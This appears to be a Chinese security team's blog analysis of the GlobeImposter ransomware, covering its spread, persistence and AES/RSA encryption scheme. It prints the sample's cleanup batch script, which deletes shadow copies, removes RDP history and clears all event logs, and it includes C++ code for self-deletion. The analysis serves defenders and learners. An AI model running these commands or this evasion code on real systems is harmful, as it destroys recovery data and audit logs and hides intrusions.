GlobeImposter病毒分析

百家 作者:Chamd5安全团队 2022-07-06 16:19:33

1、前言

GlobeImposter是一款2018~2019年比较活跃的勒索病毒,它的体积很小,没有网络通信行为。和wannacry一样没有对抗行为,属于比较老的勒索病毒了,适合新手入门分析。

1.1、介绍

Global勒索病毒于2017年5月首次出现,主要通过钓鱼邮件进行传播。2018年8月21日起,多地发生GlobeImposter勒索病毒事件,攻击目标主要是开启远程控制的服务器、攻击者暴力破解服务器密码,对内网服务器发起扫描并人工投放勒索病毒,导致文件被加密,暂时无法解密。GlobeImposter勒索病毒勒索信如下图所示:

Untitled

1.2、病毒特性:

  1. 常见后缀:auchentoshan、动物名+4444。
  2. 传播方法:RDP暴力破解、钓鱼邮件、捆绑软件等等。
  3. 特征:在%appdata%或%localappdata%文件夹下释放。

1.3、逻辑分析:

  1. 解密RSA公钥、后缀名和勒索文件。
  2. 持久化驻留,拷贝到%appdata%目录,添加自启动项。
  3. 遍历磁盘,创建线程循环加密所有文件,并在所有文件夹内拷贝一份勒索信。
  4. 释放脚本temp.bat,删除远程桌面连接信息文件,删除日志信息。
  5. 启动自删除。

详细分析:

一、预处理进行五次解密分别释放需要的文件

  1. 第一次解密:释放RSA公钥
  2. 第二次解密:释放加密文件后缀名和勒索文件名
  3. 第三次解密:释放加密文件后缀名和勒索文件名
  4. 第四次解密:为了确保程序的正常运行,解密不能勒索加密的文件路径名
  5. 第五次解密:释放加密文件后缀名和路径


二、持久化驻留

持久化驻留行为,将文件拷贝到appdata/local目录下,并创建Software\Microsoft\Windows\CurrentVersion\RunOnce注册表项。由于是勒索病毒,所以目的方面和木马不同。不是为了长时间驻留,窃取情报,而是防止病毒未启动,在新的一次开机时,进行启动。


三、遍历文件夹、加密文件

遍历磁盘和文件夹,创建线程使用AES进行加密。



四、勒索病毒加密过程

使用AES算法,对文件进行循环加密。如果该目录文件已经加密完成,写入勒索信。


使用RSA加密AES密钥,然后将密钥写入文件。然后对文件进行AES加密,将加密后的文件内容,写入该文件。


五、自删除行为

通过释放并运行文件temp.bat,删除远程桌面连接信息文件default.rdp,并通过wevtutil.exe命令,删除日志信息。

@echo?off
vssadmin.exe?Delete?Shadows?/All?/Quiet
reg?delete?"HKEY_CURRENT_USER\Software\Microsoft\Terminal?Server?Client\Default"?/va?/f
reg?delete?"HKEY_CURRENT_USER\Software\Microsoft\Terminal?Server?Client\Servers"?/f
reg?add?"HKEY_CURRENT_USER\Software\Microsoft\Terminal?Server?Client\Servers"
cd?%userprofile%\documents\
attrib?Default.rdp?-s?-h
del?Default.rdp?
for?/F?"tokens=*"?%1?in?('wevtutil.exe?el')?DO?wevtutil.exe?cl?"%1"


六、程序自杀

执行 COMSPEC /c del szPath > nul 自杀程序。

测试程序如下述代码所示:

#include?<windows.h>
#include?<Shlobj.h>
#include?<iostream>
using?namespace?std;

int?main()
{
????SHELLEXECUTEINFO?sei;
????TCHAR?szModule[MAX_PATH],?szComspec[MAX_PATH],?szParams[MAX_PATH];

????//获取文件路径名。
????if?((GetModuleFileName(0,?szModule,?MAX_PATH)?!=?0)?&&
????????(GetEnvironmentVariable("COMSPEC",?szComspec,?MAX_PATH)?!=?0))
????{
????????//设置命令行参数。
????????lstrcpy(szParams,?"/c?del?");
????????lstrcat(szParams,?szModule);
????????lstrcat(szParams,?"?>?nul");

????????//初始化SHELLEXECUTEINFO结构成员
????????sei.cbSize?=?sizeof(sei);??//设置类型大小。
????????sei.hwnd?=?0;?//命令窗口进程句柄,ShellExecuteEx函数执行时设置。
????????sei.lpVerb?=?"Open";??//执行动作为“打开执行”。
????????sei.lpFile?=?szComspec;?//执行程序文件全路径名称。
????????sei.lpParameters?=?szParams;?//执行参数。
????????sei.lpDirectory?=?0;
????????sei.nShow?=?SW_HIDE;?//显示方式,此处使用隐藏方式阻止出现命令窗口界面。
????????sei.fMask?=?SEE_MASK_NOCLOSEPROCESS;?//设置为SellExecuteEx函数结束后进程退出。

????????//创建执行命令窗口进程。
????????if?(ShellExecuteEx(&sei))
????????{
????????????//设置命令行进程的执行级别为空闲执行,这使本程序有足够的时间从内存中退出。
????????????SetPriorityClass(sei.hProcess,?IDLE_PRIORITY_CLASS);

????????????//设置本程序进程的执行级别为实时执行,这本程序马上获取CPU执行权,快速退出。?
????????????SetPriorityClass(GetCurrentProcess(),?REALTIME_PRIORITY_CLASS);
????????????SetThreadPriority(GetCurrentThread(),?THREAD_PRIORITY_TIME_CRITICAL);

????????????//通知Windows资源浏览器,本程序文件已经被删除。
????????????SHChangeNotify(SHCNE_DELETE,?SHCNF_PATH,?szModule,?0);

????????????//执行退出程序。
????????????exit(0);
????????}
????}
?return?0;
}


总结:

此勒索病毒样本逻辑清晰,易于分析。由于该程序加密程序无明显错误,所以想要解密需要硬刚RSA解密。RSA的公钥为4096位。位数超过了工程师能够破解的极限,想要获取私钥,需要密码学家的进一步支持。

MD5:

C120F323C78D046C991F0EFE45F3819C

Reference:

  • [1] 《网络安全应急响应——技术实战指南》
  • [2] ?https://blog.csdn.net/weixin_30566111/article/details/95912042
  • [3] ?https://it.rising.com.cn/fanglesuo/19531.html
  • [4] ?https://www.freebuf.com/articles/system/163792.html

end


招新小广告

ChaMd5?Venom?招收大佬入圈

新成立组IOT+工控+样本分析?长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

图库
公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接